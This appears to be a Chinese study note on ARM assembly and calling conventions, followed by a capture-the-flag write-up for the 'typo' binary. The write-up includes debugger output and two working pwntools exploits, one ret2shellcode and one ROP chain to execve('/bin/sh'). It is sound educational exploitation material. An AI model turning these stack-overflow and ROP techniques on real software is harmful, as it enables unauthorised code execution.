Contents
  1. 1. arm汇编
    1. 1.1. 寄存器
    2. 1.2. 常见指令
    3. 1.3. ARM模式和Thumb模式
  2. 2. arm函数调用约定
  3. 3. 练习题-typo
    1. 3.1. 分析
    2. 3.2. ret2shellcode
    3. 3.3. rop
  4. 4. websrv

arm汇编

寄存器

在ARMv6-M与ARMv7-M的处理器中有30个32bit位宽度的通用寄存器。前16个寄存器是用户层可访问控制的,其他的寄存器在高权限进程中可以访问(但ARMv6-M与ARMv7-M除外)

寄存器 别名 用途
R0–R10 通用寄存器
R7 一般用来存放系统调用号
R11 FP 栈帧指针
R12 IP 内部程序调用
R13 SP 栈指针
R14 LR 链接寄存器(一般存放函数的返回地址)
R15 PC 程序计数寄存器
CPSR - 当前程序状态寄存器

ARMv7相较于同为32位的x86,寄存器的数量要多一些,名称和配置也不尽相同,但两者有一个基本的对照关系:

ARM 描述 x86
R0 通用寄存器 EAX
R1-R5 通用寄存器 EBX、ECX、EDX、ESI、EDI
R6-R10 通用寄存器 -
R11 栈帧指针 EBP
R12 内部程序调用 -
R13 栈指针 ESP
R14 链接寄存器 -
R15 程序计数寄存器/机器码指针 EIP
CPSR 程序状态寄存器 FLAGS

自从ARMv8出现以后,ARM的寄存器就全面进入了64位时代,通用寄存器的数量从13个(R0-R12)变成了30个(X0-X29) ,其名称中的”R“也被”X“所取代了,但为了保持和32位系统的兼容性,每个ARMv8/ARM64通用寄存器都可被当做2个32位寄存器来使用,这样的32位寄存器用”Wn”来表示。

常见指令

image-20220713112019562

ARM模式和Thumb模式

arm函数调用约定

32位

  • 参数1-参数4 分别保存到 R0-R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。

64位

  • 参数1-参数8 分别保存到 X0-X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

练习题-typo

调试方式同理mips

1
2
3
4
5
6
$ gdb-multiarch -x mygdb.cfg ./arm-bin			# gdb-multiarch指定config文件,一些预设gdb命令可以直接写在cfg文件里,比如set arch...

$ sudo apt search "libc6-" | grep "arm"
$ sudo apt install libc6-arm64-cross # 安装arm64的lib库

$ qemu-aarch64 -L /usr/aarch64-linux-gnu ./pwn

分析

checksec

1
2
3
4
5
6
[*] '/home/kk/pwn/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
1
$ qemu-arm ./typo

测试栈溢出

1
$ qemu-arm -g 1234 ./typo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
$ gdb-multiarch ./typo
...
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> set endian little
The target is assumed to be little endian
pwndbg> target remote :1234
Remote debugging using :1234
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
R0 0x0
*R1 0xfffef004 ◂— 0x61616161 ('aaaa')
*R2 0x7e
R3 0x0
*R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
*R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
*R10 0xa68c ◂— push {r3, r4, r5, lr}
*R11 0x62616163 ('caab')
R12 0x0
*SP 0xfffef078 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
*PC 0x62616164 ('daab')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x62616164










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0xfffef078 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
01:0004│ 0xfffef07c ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
02:0008│ 0xfffef080 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
03:000c│ 0xfffef084 ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
04:0010│ 0xfffef088 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
05:0014│ 0xfffef08c ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
06:0018│ 0xfffef090 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
07:001c│ 0xfffef094 ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 62616164
───────────────────────────────
pwndbg> cyclic -l 0x62616164
112

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch='arm',log_level='debug')
io = process(['qemu-arm','./typo'])
# io = process(['qemu-arm',"-g","1234",'./typo'])

io.recv()
io.send("\n")
io.recv()
io.sendline(asm(shellcraft.sh()).ljust(112,b'a') + p32(0xfffef000))
io.interactive()

rop

实现execve("/bin/sh", 0, 0)

通过ARM提供的系统调用指令svc切换到 svc 模式,将ARM下的存放系统调用号寄存器R7设置为0xb(execve的调用号),R0设置为”/bin/sh”,R1、R2设置为0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh

$ ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

# pop没有控制R2寄存器的指令,所以考虑通过mov传递,查找mov r2, #0没有合适的
$ ROPgadget --binary ./typo | grep 'mov r2, r4'
0x0003338c : mov r2, r4 ; blx r3
0x0000f600 : mov r2, r4 ; blx sb
0x00069950 : mov r2, r4 ; mov r3, r4 ; blx r8
0x00013310 : mov r2, r4 ; mov r3, r5 ; blx r1
...

$ ROPgadget --binary ./typo | grep 'svc #0'
0x00021b84 : add r1, sp, #8 ; mov r7, #0x108 ; svc #0 ; ldr r3, [pc, #0x48c] ; cmn r0, #0x1000 ; movls r0, r3 ; mvnhi r0, #0 ; add sp, sp, #0x28 ; pop {r4, r5, r6, r7, r8, pc}
0x00021b54 : add r1, sp, #8 ; mov r7, #0x108 ; svc #0 ; ldr r3, [pc, #0x4bc] ; cmn r0, #0x1000 ; movls r0, r3 ; mvnhi r0, #0 ; add sp, sp, #0x28 ; pop {r4, r5, r6, r7, r8, pc}
0x000482e4 : andeq lr, r7, r0, lsr #1 ; andeq lr, r7, r8, ror r0 ; andeq lr, r7, r4, ror #1 ; andeq lr, r7, r4, rrx ; str r7, [sp, #-4]! ; mov r7, #0xc7 ; svc #0 ; pop {r7} ; bx lr
...

我们利用的gadget为:

binsh 0x0006c384 : /bin/sh

g1 0x00020904 : pop {r0, r4, pc}

g2 0x00068bec : pop {r1, pc}

g3 0x00014a70 : pop {r3, r4, r7, pc}

g4 0x0003338c : mov r2, r4 ; blx r3

svc 0x000482fc : svc #0 ; pop {r7} ; bx lr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(arch='arm',log_level='debug')
io = process(['qemu-arm','./typo'])
# io = process(['qemu-arm',"-g","1234",'./typo'])

io.recv()
io.send("\n")
io.recv()

payload = p32(0x00020904) + p32(0x0006c384) + p32(0) + p32(0x00068bec) + p32(0) + p32(0x00014a70)
# g1 r0="/bin/sh" r4=0 pc=g2 r1=0 pc=g3

payload += p32(0x000482fc) + p32(0) + p32(0xb) + p32(0x0003338c)
# r3=svc r4=0 r7=0xb pc=g4
exp = 'a'*112 + payload

io.sendline(exp)
io.interactive()

websrv

ref:

https://song-10.gitee.io/2020/12/27/arm-pwn-2020-12-29-arm-start/

https://blingblingxuanxuan.github.io/2021/01/27/arm-pwn-start/

https://github.com/ReAbout/pwn-exercise-iot